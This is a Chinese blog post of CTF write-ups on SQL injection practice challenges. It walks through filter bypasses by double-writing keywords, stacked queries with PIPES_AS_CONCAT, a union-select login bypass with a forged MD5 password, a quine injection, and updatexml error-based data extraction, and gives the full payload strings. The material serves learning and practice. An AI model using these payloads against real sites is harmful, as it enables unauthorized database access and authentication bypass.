SQL注入-实战
本文最后更新于521 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

1.[SWPUCTF 2022 新生赛]ez_sql

SWPUCTF-2022-新生赛ez_sql

Pasted image 20241103220609.png

思路

  • 解题大致思路
    1)审题(提示 post 传参)
    Pasted image 20241103221022.png

    打开hackbar
    Pasted image 20241103221141.png

2)判断类型
3)判断字段

Pasted image 20241103224512.png

4)爆库(找不到想要的可以用limit)
Pasted image 20241103224529.png

Pasted image 20241103224700.png

5)爆表
Pasted image 20241103224726.png

6)爆字段
Pasted image 20241103224835.png

7)爆字段内容
Pasted image 20241103224911.png

EXP

  • 具体攻击代码
  • nss=-1′ order by 1
  • nss=-1’/ ** /oorrder/ ** /by/ ** /4#
  • 爆表 nss=-1’//ununionion//select//1,group_concat(table_name),database()//from//infoorrmation_schema.tables//where//table_schema=database()//limit/**/1,1%23
  • 爆字段 nss=-1’//ununionion//select//1,group_concat(column_name),database()//from//infoorrmation_schema.columns//where//table_name=’ NSS_tb’//limit/**/1,1%23
  • 爆字段内容 nss=-1’//ununionion//select//1,group_concat(Secr3t),group_concat(flll444g)//from//NSS_db.NSS_tb//limit/**/1,1%23

总结

双写绕过
or 和 空格 被==过滤== — 重构语句
/ ** /= ,==oorr==der=order
inf==oorr==mation=information

2.suctf 2019]EasySQL

SUCTF 2019EasySQL-CSDN博客

Pasted image 20241107190644.png

尝试各种类型注入
发现堆叠注入有回显
1;database()
Pasted image 20241107191349.png

查数据库
1;show databases#
Pasted image 20241107191646.png

查表
Pasted image 20241107191807.png

这句话的意思是有两个目录表,一个是1另一个就是flag,那么我们通过查目录试试能否找出flag

查flag表的字段,发现没有用
Pasted image 20241107192010.png

发现是这里后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显

即输入数字有回显而字符没有回显,说明了语句中存在||结构
在mssql中,||表示连接操作符,不表示或的逻辑

方法一:

需要把payload中的||或逻辑改成连接符的作用

这里需要用到

设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

利用PIPES_AS_CONCAT令||起到连接符的作用。

构造payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1

Pasted image 20241107192838.png

注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

方法二:

构造payload:* ,1

已知后端语句是select 输入内容 || flag from Flag,输入*,1就相当于构造了select * ,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag

1||flag是个短路算法,直接输出1了

select *和select 所有列的意义相同,那么我们构造的select *,1 || flag from Flag =elect *,1 from Flag

总结

PIPES_AS_CONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似.

SELECT * 和 SELECT 所有列,两者差别几乎可忽略。所以查询所有字段(或者大多数字段)的时候,可以用select *来操作。

短路算法:

|| 逻辑或的短路:a||b

计算机发现a是真,那么输出a;如果a是假,那么输出b

select 1 from :建立一个临时列,这个列的所有初始值都被设为1。

Mysql中的||
||运算符相当于or,即 :

0 || 1 = 1
3 || 4 = 1
0 || 0 = 0
我们可以修改sql_mode的值,将||视为字符串的连接操作符而非或运算符,即set sql_mode=PIPES_AS_CONCAT;

3.SWPUCTF 2021 新生赛]sql

sql_swpuctf 2021 sq l-CSDN博客

Pasted image 20241107194010.png

根据提示?wllm=1
Pasted image 20241107194202.png

输入?wllm=1‘,报错可以判断是字符型

Pasted image 20241107194342.png

查询自动数,发现被过滤
猜测可能是空格
Pasted image 20241107200715.png

空格–>/ ** / 发现成功绕过
Pasted image 20241107201230.png

发现字段数是3
Pasted image 20241107201319.png

发现是联合注入
Pasted image 20241107202240.png

查库名
Pasted image 20241107202328.png

查表名(前面发现=被过滤,可以用like替换)
Pasted image 20241107202729.png

查字段
Pasted image 20241107203455.png

查数据,发现显示不全,试了一下substr、substring、left 还被检测了
Pasted image 20241107203557.png

试了下,发现mid是可以的,但是似乎是限制只能输出这么长,所以还要修改一下mid,
union//select//1,mid((select//flag//from//LTLT_flag),21,41),mid((select//flag//from//LTLT_flag),42,62)%23

拼接
NSSCTF{b2448079-0a83-45be-8b74-0c790a69a48}
Pasted image 20241107204342.png

总结

关键字绕过
空格–>/ ** /

=–>like

mid截取函数

4.GXYCTF 2019]BabySqli

Pasted image 20241107215325.png

随便输入admin
Pasted image 20241107215242.png

select * from user where username = ‘$name’

Pasted image 20241107215359.png

代码意解就是索引检测你输入的usernam是否在它的数据库中存在

mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;
密码123经过md5 32进制加密得到:202cb962ac59075b964b07152d234b70

payload:name=1′ union select 1,’admin’,’202cb962ac59075b964b07152d234b70’#&pw=123
Pasted image 20241107221456.png

总结

mysql在查询不存在的数据时会自动构建虚拟数据,一般数据要么明文,要么MD5;

5.MoeCTF 2022]Sqlmap_boy

MoeCTF 2022Sqlmap_boy

Pasted image 20241107222250.png

查看源码得到提示
Pasted image 20241107222352.png

分析一下,闭合方式为双引号闭合
那么我们试试万能语句
" or 1=1#

Pasted image 20241107222912.png

查看回显位
Pasted image 20241107223232.png

查看库名
Pasted image 20241107223323.png

查看表名
Pasted image 20241107223457.png

查看字段
Pasted image 20241107223605.png

查看数据
Pasted image 20241107223653.png

总结

联合查询

6.NSSCTF 2022 Spring Recruit]babysql

Pasted image 20241107223850.png

发现这些被过滤
Pasted image 20241107225145.png

构造闭合
Pasted image 20241107225951.png

只有一个显示位

Pasted image 20241108105449.png

运行脚本
Pasted image 20241108105318.png

总结

关键字绕过
构造闭合
使用盲注脚本

7.NISACTF 2022]hardsql

Pasted image 20241108110602.png

user:admin pw:1
发现只有bilala用户可以
Pasted image 20241108110724.png

随便输入密码
Pasted image 20241108110824.png

进行密码爆破

Pasted image 20241108112229.png

获得源码
Pasted image 20241108112255.png

获得提示
Pasted image 20241108114752.png

查询出来的passwd要和$ password强相等,且$passwor不等于b2f2d15b3ae082ca29697d8dcd420fd7。

但是事实上这张表其实是个空表,只有构造输入输出完全一致的语句,才能绕过限制得到FLAG,主要利用replace(str,old_string,new_string)进行构造,构造思路如下:

select replace(‘replace(".",char(46),".")’,char(46),’replace(".",char(46),".")’);

利用’replace(".",char(46),".")’);替换’replace(".",char(46),".")’中的符号.

输入和输出的结果为:

replace(‘replace(".",char(46),".")’,char(46),’replace(".",char(46),".")’);

replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;

这样其实还没有达到输入和输出一致的问题,因为还有单引号和双引号不一致,所以要解决单双引号的问题,再套一层replace,将双引号替换成单引号即可,如下:

replace(replace(‘replace(replace(".",char(34),char(39)),char(46),".")’,char(34),char(39)),char(46),’replace(replace(".",char(34),char(39)),char(46),".")’);

输出的结果为:
replace(replace(‘replace(replace(".",char(34),char(39)),char(46),".")’,char(34),char(39)),char(46),’replace(replace(".",char(34),char(39)),char(46),".")’)

这样就形成了输入和输出的结果一致 。

题中还过滤了char,用chr或者直接0x代替即可。

所以最终的payload为:

username=bilala&passwd=’//union//select//replace(replace(‘"//union//select//replace(replace("%",0x22,0x27),0x25,"%")#’,0x22,0x27),0x25,’"//union//select/**/replace(replace("%",0x22,0x27),0x25,"%")#’)#&login=%E7%99%BB%E5%BD%95

进行抓包
Pasted image 20241108114207.png

总结

quine注入

8.## BUU SQL COURSE 1

Pasted image 20241108142746.png

Pasted image 20241108142825.png

发现登录无法进行注入
Pasted image 20241108142855.png

查看网络发现数据包,有注入点
Pasted image 20241108142959.png

查询字段数

Pasted image 20241108143258.png

字段数是2
Pasted image 20241108143321.png

找到回显位
Pasted image 20241108143525.png

查询数据库
Pasted image 20241108143650.png

查表
Pasted image 20241108143836.png

查询字段
Pasted image 20241108144000.png

查数据
Pasted image 20241108144124.png

尝试登录,成功
Pasted image 20241108144239.png

总结

找到有关的id回显的地方
找到有sql注入的地方,如网络请求数据包

9.buu sql-labs

Pasted image 20241108145303.png

确认为字符型
Pasted image 20241108145342.png

确认字段数为3
Pasted image 20241108145424.png

查看显示位
Pasted image 20241108145528.png

查数据库
Pasted image 20241108151329.png

查询表名
Pasted image 20241108151704.png

查询字段
Pasted image 20241108151812.png

成功找到
Pasted image 20241108152036.png

总结

查询所有数据库

10.## 极客大挑战 2019]BabySQL

Pasted image 20241108152311.png

寻找注入点
Pasted image 20241109092415.png

查询字段数
or,by 被过滤
Pasted image 20241109092558.png

尝试双写绕过
Pasted image 20241109092724.png

字段数为4
Pasted image 20241109092826.png

寻找回显位
发现union和select被过滤
Pasted image 20241109093151.png

双写绕过
成功登录
Pasted image 20241109093319.png

当前数据库名为geek
Pasted image 20241109093519.png

查询所有数据库
发现from也被过滤
Pasted image 20241109093739.png

双写绕过
Pasted image 20241109094024.png

发现ctf的数据库
发现where也被过滤
绕过发现Flag表
Pasted image 20241109094453.png

发现字段是flag
Pasted image 20241109094718.png

成功找到
Pasted image 20241109094942.png

总结

测试过滤关键字
双写绕过

11.## 极客大挑战 2019]FinalSQL

Pasted image 20241109104421.png

Pasted image 20241109104444.png

Pasted image 20241109104520.png

发现注入点
发现只有盲注可以
Pasted image 20241109104939.png

只能使用布尔盲注

12.极客大挑战 2019]HardSQL

Pasted image 20241109105936.png

Pasted image 20241109110036.png

  • select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

    • 查表语句

      • and updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema = database()),’~’),3) %23
    • 查字段语句

      • and updatexml(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = ‘users’),’~’),3) %23
    • 查数据

      • and updatexml(1,concat(‘~’,(select username from users limit 0,1),’~’),3) %23
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇